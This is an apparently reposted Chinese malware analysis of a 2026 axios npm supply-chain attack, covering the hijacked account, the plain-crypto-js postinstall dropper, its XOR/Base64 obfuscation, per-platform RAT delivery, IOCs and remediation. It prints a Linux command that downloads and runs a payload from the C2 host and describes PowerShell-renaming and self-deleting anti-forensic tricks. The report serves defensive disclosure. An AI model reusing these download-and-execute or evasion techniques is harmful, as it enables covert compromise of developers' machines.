文章总结: 报告深度分析了2026年3月30日至31日发生的Axiosnpm供应链攻击事件。攻击者通过劫持axios主维护者的npm账户,发布了恶意版本的axios,注入了名为plain-crypto-js的虚假依赖包。该恶意包利用postinstall钩子执行高度混淆的JavaScript投递器,根据不同操作系统(macOS、Windows、Linux)下载并执行特定的远程访问木马(RAT)载荷,具有自毁和反取证机制以清除入侵痕迹。 综合评分: 95 文章分类: 供应链安全,恶意软件,漏洞分析,应急响应,网络安全
Axios npm 供应链攻击深度分析报告
马甲三号
2026年3月31日 21:19 江苏
Axios npm 供应链攻击深度分析报告
事件日期: 2026年3月30日 – 3月31日 分析日期: 2026年3月31日 跟踪编号: MSC-2026-3522 / GHSA-fw8c-xr5c-95f9 / MAL-2026-2306
一、事件概述
2026年3月30日至31日,攻击者通过劫持 axios 主维护者 jasonsaayman 的 npm 账户,发布了两个恶意版本 —— [email protected] 和 [email protected]。axios 是 JavaScript 生态系统中最流行的 HTTP 客户端库,每周下载量超过 1 亿次,存在于约 80% 的云与代码环境中。
恶意版本注入了一个虚假依赖 [email protected],该包的唯一目的是通过 postinstall 钩子执行一个跨平台远程访问木马(RAT)投递器,目标覆盖 macOS、Windows 和 Linux。
恶意包在线暴露窗口约 2 小时 53 分钟,但鉴于 axios 的全球下载速度,Wiz 观测到 3% 的受影响环境已执行了恶意代码。
二、攻击时间线
| 时间 (UTC) | 事件 |
| — | — |
| 3月30日 05:57 | [email protected] 发布(清洁诱饵版本),发布者 [email protected],用于建立发布历史 |
| 3月30日 23:59 | [email protected] 发布(武器化版本),注入 postinstall 钩子和混淆投递器 |
| 3月31日 00:21 | [email protected] 通过被劫持的 jasonsaayman 账户发布(账户邮箱已被改为 [email protected]) |
| 3月31日 01:00 | [email protected] 发布,39 分钟内同时毒化 1.x 和 0.x 两个发行分支 |
| 3月31日 ~03:15 | npm 安全团队撤回两个恶意 axios 版本 |
| 3月31日 03:25 | npm 对 plain-crypto-js 发起安全冻结 |
| 3月31日 04:26 | npm 发布安全占位包 [email protected] |
关键观察:诱饵版本比武器化版本提前 18 小时发布,这是一种精心设计的 OPSEC 手段,旨在让 nrwise 账户看起来像一个有发布历史的合法维护者,从而绕过安全扫描器对”零历史账户”的告警。
三、技术分析
3.1 初始入侵:npm 账户劫持
攻击者获取了 jasonsaayman 账户的长期经典 npm 访问令牌(classic npm access token),而非短暂的 OIDC 令牌。证据链:
- • 合法的 axios 发布使用 GitHub Actions + npm OIDC Trusted Publisher 机制,发布记录中包含
trustedPublisher和gitHead字段 - •
[email protected]的 npm 元数据没有 OIDC 绑定、没有 gitHead、没有对应的 GitHub commit 或 tag - • 账户邮箱被改为攻击者控制的
[email protected](ProtonMail 匿名地址) - • 攻击期间,攻击者可能保留了部分账户访问权限——有报告指出,社区成员提交的安全问题(#10604)被创建后不久即被删除
npm 元数据对比:
// [email protected] — 合法发布
"_npmUser":{
"name":"GitHub Actions",
"email":"[email protected]",
"trustedPublisher":{
"id":"github",
"oidcConfigId":"oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
}
}
// [email protected] — 恶意发布
"_npmUser":{
"name":"jasonsaayman",
"email":"[email protected]"
// 无 trustedPublisher, 无 gitHead, 无对应 GitHub commit
}
3.2 恶意依赖预部署
攻击者从 [email protected] 账户预先部署了 plain-crypto-js:
- • v4.2.0(诱饵):合法
crypto-js的完整克隆,53 个加密原语文件,无postinstall钩子,无恶意代码——纯粹用于建立发布信誉 - • v4.2.1(武器化):仅增加了 3 个变更:
| 文件 | v4.2.0 | v4.2.1 | 变更 |
| — | — | — | — |
| package.json | 无 scripts 段 | 添加 "postinstall": "node setup.js" | 武器注入 |
| setup.js | 不存在 | 4.2 KB 混淆投递器 | RAT 投递器 |
| package.md | 不存在 | 清洁 JSON 存根(版本号 4.2.0) | 反取证替换文件 |
3.3 投递器(Stage 1)—— setup.js 详解
setup.js 是一个 4,209 字节的高度混淆 JavaScript 投递器,通过 postinstall 钩子在 npm install 时自动执行。
混淆方案(双层编码)
- • 第一层:字符串反转 → 下划线替换为
=padding → Base64 解码 - • 第二层:每个解码字符与密钥
OrDeR_7077中的数字(索引选择公式:7*i*i % 10)和常数333进行 XOR 运算
// 反混淆函数(重构)
const _trans_1 = function(x, r) {
const E = r.split("").map(Number);
return x.split("").map((x, r) => {
const S = x.charCodeAt(0), a = E[7 * r * r % 10];
returnString.fromCharCode(S ^ a ^ 333);
}).join("");
};
const trans_2 = function(x, r) {
let E = x.split("").reverse().join("").replaceAll("_", "=");
let S = Buffer.from(E, "base64").toString("utf8");
return_trans_1(S, r);
};
const ord = "OrDeR_7077";
解码后的 18 个 stq[] 字符串
| 索引 | 类别 | 解码值 |
| — | — | — |
| stq[0] | Node.js 模块 | child_process |
| stq[1] | Node.js 模块 | os |
| stq[2] | Node.js 模块 | fs |
| stq[3] | C2 基础 URL | http://sfrclak[.]com:8000/ |
| stq[5] | 平台标识 | win32 |
| stq[6] | 平台标识 | darwin |
| stq[7] | Windows 投递器 | VBScript 投递器模板 |
| stq[8] | Windows 启动器 | cscript 启动命令 |
| stq[9] | macOS 投递器 | AppleScript 投递器模板 |
| stq[10] | macOS 启动器 | nohup osascript 启动命令 |
| stq[12] | Linux 投递器 | curl -o /tmp/ld.py |
| stq[13] | 反取证 | package.json (删除目标) |
| stq[14] | 反取证 | package.md (清洁替换文件) |
| stq[15]-[17] | 文件扩展名 | .exe , .ps1, .vbs |
执行流程
npm install
→ postinstall hook
→ node setup.js
→ _entry("6202033")
→ os.platform() 检测操作系统
→ darwin: AppleScript → curl C2 → /Library/Caches/com.apple.act.mond
→ win32: VBScript → PowerShell copy → curl C2 → .ps1 执行
→ linux: curl C2 → /tmp/ld.py → python3 执行
→ 删除 setup.js
→ 删除 package.json
→ 重命名 package.md → package.json(清除所有证据)
3.4 平台特定载荷投递(Stage 1.5)
macOS(darwin)
- 1. 写入 AppleScript 到
/tmp/6202033 - 2. 通过
curlPOST 请求从 C2 下载二进制文件
- • POST body:
packages.npm.org/product0(伪装成 npm 注册表流量) - • C2 URL:
http://sfrclak[.]com:8000/6202033
- 3. 保存到
/Library/Caches/com.apple.act.mond(故意模仿 Apple 的com.apple.*命名约定) - 4.
chmod 770设置可执行权限 - 5. 通过
/bin/zsh在后台执行,C2 URL 作为参数传递 - 6. 删除 AppleScript 加载器
- 7. 通过
nohup osascript分离启动,npm install进程立即返回
Windows(win32)
- 1.
where powershell定位 PowerShell 二进制文件 - 2. 将
powershell.exe复制为%PROGRAMDATA%\wt.exe(伪装成 Windows Terminal,已知 EDR 绕过技术) - 3. 写入 VBScript 到
%TEMP%\6202033.vbs
- • 使用
WScript.Shell启动隐藏的cmd.exe窗口(window style 0)
- 4. curl 下载 PowerShell 脚本(POST body:
packages.npm.org/product1) - 5. 保存为
%TEMP%\6202033.ps1 - 6. 使用复制后的 PowerShell(
wt.exe)执行:-w hidden -ep bypass
- •
-w hidden:隐藏窗口 - •
-ep bypass:绕过执行策略
- 7. 执行后删除
.vbs和.ps1文件
Linux
最简路径:
curl -d "packages.npm.org/product2" -o /tmp/ld.py http://sfrclak[.]com:8000/6202033
nohup python3 /tmp/ld.py &
3.5 C2 通信伪装设计
POST 请求体 packages.npm.org/product{0,1,2} 是精心设计的伪装:
- •
npm.org并非 npm 注册表(真实域名为registry.npmjs.org),它实际属于”美国全国牧师音乐家协会”(National Association of Pastoral Musicians),自 1997 年起持有该域名 - • 网络监控工具和 SIEM 规则在记录 HTTP 请求体时,会将其误认为正常的 npm 注册表流量
- •
/product后缀数字让 C2 服务器可以根据平台路由到正确的载荷 - • 活动 ID
6202033是唯一硬编码在混淆数组外部的值,允许基础设施在未来活动中被重复使用
3.6 第二阶段载荷(Stage 2)—— 全功能 RAT
三个平台的 RAT 变体均以 60 秒间隔向 C2 服务器发送信标,传输系统清单并等待命令。
| 平台 | 载荷类型 | 关键能力 |
| — | — | — |
| macOS | C++ 编译的 Mach-O universal 二进制文件 | 远程 shell 执行、二进制注入、目录浏览、进程列表、系统侦察、通过 codesign 自签名注入的载荷 |
| Windows | PowerShell 脚本 | 远程 shell 执行、通过注册表 Run 键(MicrosoftUpdate)建立持久化、重新下载批处理文件 |
| Linux | Python 脚本 | 远程 shell 执行、系统侦察、文件访问 |
值得注意的差异:
- • macOS 和 Linux 变体未建立持久化,暗示其设计用于快速数据窃取或后续攻击
- • Windows 变体建立了注册表持久化(
MicrosoftUpdateRun key),具有更强的驻留能力
3.7 自毁与反取证机制
投递器在启动平台载荷后执行三步清理序列:
- 1. 删除
setup.js(投递器本体) - 2. 删除
package.json(包含 postinstall 钩子的版本) - 3. 重命名
package.md→package.json(预置的清洁版本,不含任何钩子,版本号显示为4.2.0)
结果:node_modules/plain-crypto-js/ 目录中不留任何入侵痕迹。事后审计该目录只会看到一个完全正常的包——没有投递器、没有 postinstall 钩子、没有意外文件。
四、攻击来源与归因分析
4.1 当前归因状态
截至 2026 年 3 月 31 日,尚无公开的确定性归因。多家安全厂商的立场:
| 机构 | 立场 | | — | — | | Socket Research | 明确表示”未观察到任何证据将此活动与 TeamPCP 活动关联” | | SOCRadar | 评估为”与经济动机威胁行为者或国家级关联组织一致的操作复杂度” | | Wiz | 在”相关阅读”中引用 TeamPCP 追踪文章,但未建立直接关联 | | StepSecurity | 描述为”最具操作复杂性的供应链攻击之一”,未做归因 |
4.2 TeamPCP 关联性评估
TeamPCP(又名 DeadCatx3、PCPcat、ShellForce、PersyPCP)是 2025 年 12 月以来最活跃的供应链攻击组织。其 2026 年 3 月的活动时间线:
| 日期 | TeamPCP 活动 |
| — | — |
| 3月19日 | 劫持 Trivy 漏洞扫描器(CVE-2026-33634),76/77 版本标签被重写 |
| 3月20-22日 | 部署 CanisterWorm npm 蠕虫,150+ 包被感染,使用 ICP 链上 C2 |
| 3月22日 | 添加针对伊朗的地缘政治定向擦除器(kamikaze.sh) |
| 3月23日 | 劫持 Checkmarx KICS GitHub Actions,C2 为 checkmarx[.]zone |
| 3月24日 | 劫持 LiteLLM(PyPI,360 万日下载量),C2 为 models.litellm.cloud |
| 3月30-31日 | axios 攻击 (是否为 TeamPCP?存疑) |
支持关联的证据
- • 时间窗口高度重合(axios 攻击发生在 TeamPCP 活动高峰的延长线上)
- • 相同的宏观攻击模式:账户劫持 → 注入恶意依赖 → 凭证/系统窃取
- • TeamPCP 在前期攻击中收获了海量 npm 令牌(CanisterWorm 从 78% 的感染环境中成功窃取了认证令牌),理论上可用于劫持 axios 维护者账户
- • Wiz 的 IOC 附录中同时列出了
@shadanai/openclaw和@qqbrowser/openclaw-qbot等包,暗示可能存在关联活动生态
反对关联的证据
-
• C2 基础设施完全不同:
-
• axios:
sfrclak[.]com:8000(IP:142.11.206.73) -
• TeamPCP: Cloudflare Tunnels、ICP 链上金丝雀、
scan.aquasecurtiy[.]org、checkmarx[.]zone、models.litellm.cloud -
• TTP 差异:
-
• TeamPCP 倾向于自传播蠕虫 + GitHub 仓库篡改/毁坏 + 公开炫耀
-
• axios 攻击是经典的”静默账户劫持 + 依赖注入 + RAT”模式,无公开宣称
-
• 行为风格差异:
-
• TeamPCP 追求高调曝光(Telegram 频道 @teampcp、X 账号 @pcpcats,公开发布战果)
-
• axios 攻击者完全匿名,使用一次性 ProtonMail 地址,无任何公开声明
-
• 载荷设计差异:
-
• TeamPCP 的载荷重点在凭证窃取和基础设施控制
-
• axios RAT 是一个全功能远程访问木马,支持 shell 执行、二进制注入、目录浏览等
-
• Socket 的专业安全分析师明确否认了关联
4.3 威胁行为者画像
基于行为特征分析,攻击者具有以下特征:
| 特征 | 评估 |
| — | — |
| 操作复杂度 | 极高——18 小时预部署、三平台载荷预构建、自毁机制、C2 通信伪装 |
| OPSEC 强度 | 强——仅使用匿名 ProtonMail 地址,无公开身份暴露,无公开宣称 |
| 开发能力 | 专业——C++ Mach-O 二进制(macOS)、PowerShell 脚本(Windows)、Python 脚本(Linux),均在短时间内预构建 |
| 目标选择 | 精确——选择 npm 前 10 的包,同时攻击 latest 和 legacy 两个发行分支以最大化覆盖 |
| npm 生态理解 | 深入——理解 OIDC Trusted Publisher 机制、semver 范围解析(^ 前缀会自动拉取恶意版本)、postinstall 钩子执行时机 |
| 反取证意识 | 极强——多层自毁、预置清洁替换文件、C2 流量伪装为 npm 注册表通信 |
4.4 可能的攻击者类别
- 1. 经济动机的高级犯罪组织(概率:中等)
- • 开发者机器上通常存有 SSH 密钥、云凭证、API 令牌、加密货币钱包,具有极高的变现价值
- • RAT 的全功能设计(shell 执行、文件浏览)适合后续定向勒索或数据窃取
- 2. 国家级 APT(概率:中低)
- • 攻击的精密程度和对开发者供应链的关注与已知国家级行为者的模式一致
- • 朝鲜 Lazarus Group 的 “Contagious Interview” / “DeceptiveDevelopment” 系列有类似的 npm 攻击先例
- • 无持久化(macOS/Linux)暗示”快速收割”而非长期驻留,更接近情报收集模式
- 3. TeamPCP 的独立行动或战术模仿者(概率:中低)
- • 时间窗口重合但技术指纹不匹配
- • 可能是受 TeamPCP 近期成功启发的独立行为者
- 4. 独立高级威胁行为者(概率:中等)
- • 不属于已知组织,但拥有专业级供应链攻击能力
- • 可能是专门从事 npm/PyPI 供应链攻击的专业团队
五、完整 IOC(入侵指标)列表
5.1 恶意包哈希
| 包 | 版本 | SHA256 |
| — | — | — |
| axios | 1.14.1 | 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd |
| axios | 0.30.4 | 59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f |
| plain-crypto-js | 4.2.1 | 58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668 |
5.2 第二阶段载荷哈希
| 文件 | 平台 | SHA256 |
| — | — | — |
| com.apple.act.mond | macOS (Mach-O) | 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a |
| stage2.ps1 | Windows (PowerShell) | 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 |
| ld.py | Linux (Python) | fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf |
5.3 网络指标
| 类型 | 指标 | 说明 |
| — | — | — |
| C2 域名 | sfrclak[.]com | 命令与控制服务器 |
| C2 IP | 142.11.206[.]73 | C2 服务器 IP 地址 |
| C2 端口 | 8000 | 通信端口 |
| 活动路径 | /6202033 | 活动标识符 |
| macOS 端点 | /product0 | macOS 载荷路由 |
| Windows 端点 | /product1 | Windows 载荷路由 |
| Linux 端点 | /product2 | Linux 载荷路由 |
5.4 文件系统指标
| 平台 | 路径 | 说明 |
| — | — | — |
| macOS | /Library/Caches/com.apple.act.mond | Mach-O RAT 二进制文件 |
| Windows | %PROGRAMDATA%\wt.exe | 伪装为 Windows Terminal 的 PowerShell 副本 |
| Windows | %TEMP%\6202033.vbs | VBScript 启动器 |
| Windows | %TEMP%\6202033.ps1 | PowerShell RAT 脚本 |
| Linux | /tmp/ld.py | Python RAT 脚本 |
| 全平台 | node_modules/plain-crypto-js/setup.js | 投递器(执行后自删除) |
5.5 npm 元数据红旗信号
- • 恶意发布缺少
trustedPublisher/ OIDC 字段 - • 无 GitHub Actions provenance 链接
- • 无
gitHead字段(无对应 GitHub commit) - •
plain-crypto-js出现在依赖列表中(合法 axios 无此依赖) - • npm 发布者邮箱为
[email protected](非项目官方邮箱)
5.6 涉及账户
| 账户 | 角色 | 关联邮箱 |
| — | — | — |
| npm: jasonsaayman | 被劫持的 axios 主维护者 | [email protected] (攻击者控制) |
| npm: nrwise | plain-crypto-js 发布者 | [email protected] |
六、影响评估与应急响应
6.1 影响范围
- • axios 存在于 ~80% 的云和代码环境中
- • 暴露窗口内(~2小时53分钟),尤其是亚太时区(活动高峰时段)的开发者受影响最大
- • 任何使用
^1.14.0或^0.30.0semver 范围的项目在执行npm install时会自动拉取恶意版本 - • CI/CD 管道是最大风险面——开发者机器通常持有 SSH 密钥、云凭证、API 令牌、生产系统访问权限
6.2 快速检测步骤
步骤 1:检查 lockfile(最快,~2 分钟)
在每个 Node.js 仓库中搜索 package-lock.json 或 yarn.lock:
grep -r "axios.*1.14.1\|axios.*0.30.4\|plain-crypto-js" package-lock.json yarn.lock
步骤 2:检查文件系统 IOC
# macOS
ls -la /Library/Caches/com.apple.act.mond
# Windows
dir %PROGRAMDATA%\wt.exe
dir %TEMP%\6202033.*
# Linux
ls -la /tmp/ld.py
步骤 3:检查网络连接
# 检查是否有到 C2 的连接
# DNS/代理日志中搜索 sfrclak.com
# 防火墙日志中搜索 142.11.206.73:8000
6.3 响应措施
如果发现受影响:
- 1. 立即隔离受影响机器(断开网络)
- 2. 降级并锁定 axios 版本至
1.14.0或更早 - 3. 在
package.json中添加 overrides 阻止传递解析回恶意版本 - 4. 从
node_modules中删除plain-crypto-js - 5. 假设所有凭证已泄露——轮换所有 SSH 密钥、云凭证、API 令牌、npm 令牌
- 6. 审计 CI/CD 管道中安装过受影响版本的所有运行记录
- 7. 在网络/DNS 层封锁
sfrclak[.]com和142.11.206.73 - 8. 如发现 RAT 文件系统指标,从已知良好状态重建系统
七、关键技术亮点总结
- 1. 零代码修改攻击:axios 源码本身无一行被修改,恶意行为完全通过传递依赖实现,使传统代码审查完全失效
- 2. npm install 后 2 秒内恶意软件即开始回连 C2,早于 npm 完成其余依赖解析
- 3. 精密的反取证设计:自删除投递器 + 预置清洁
package.json+ 版本号回退形成了”安装即消失”的攻击模式 - 4. 双层自定义混淆(反转 Base64 + XOR 密码)专门设计以绕过静态分析和签名检测
- 5. C2 通信伪装为 npm 注册表流量(
packages.npm.org/product*),可骗过基于请求体的网络监控规则 - 6. 跨平台全覆盖:macOS 使用 Mach-O 二进制 + AppleScript,Windows 使用 PowerShell 重命名 + VBScript 包装器(EDR 绕过),Linux 使用 Python——展示了专业的多平台恶意软件开发能力
- 7. 供应链放大效应:通过毒化一个 top-10 npm 包的两个发行分支,一次攻击即可触及数百万开发者环境
这是迄今为止针对 npm 前 10 包记录在案的最具操作复杂性的供应链攻击之一。
八、防御建议
短期(立即)
- • 在所有 CI/CD 中使用
--ignore-scripts标志阻止 postinstall 钩子执行 - • 要求所有关键依赖的 npm publish 包含
--provenance标志 - • 封锁已知 C2 指标
中期
- • 实施 SLSA Level 2+ 构建来源验证
- • 对关键第三方包强制执行 npm publish provenance 检查
- • 新版本缺少 OIDC provenance 应触发自动告警
- • 部署运行时依赖监控(如 StepSecurity Harden-Runner)
长期
- • 推动 npm 生态系统强制启用 2FA 和 OIDC Trusted Publishing
- • 将依赖视为攻击面的一部分,而非仅仅是工具
- • 建立软件物料清单(SBOM)和持续依赖审计流程
参考来源
- 1. StepSecurity — axios Compromised on npm – Malicious Versions Drop Remote Access Trojan
- 2. Socket Research — Supply Chain Attack on Axios Pulls Malicious Dependency from npm
- 3. SecurityBoulevard (Mend.io) — Poisoned Axios: npm Account Takeover, 50 Million Downloads
- 4. Wiz — Axios NPM Distribution Compromised in Supply Chain Attack
- 5. SOCRadar — Axios npm Hijack 2026: Everything You Need to Know
- 6. SQ Magazine — Axios npm Attack Pushes RAT Through Malicious Packages
- 7. TechNadu — Axios Supply Chain Attack Deploys Cross-Platform RAT
- 8. Ars Technica — Self-propagating malware poisons open source software
- 9. OX Security — TeamPCP’s Telnyx Windows Malware: Technical Analysis
-
- Flare — Threat Alert: TeamPCP, An Emerging Force
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:马甲三号 《Axios npm 供应链攻击深度分析报告》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论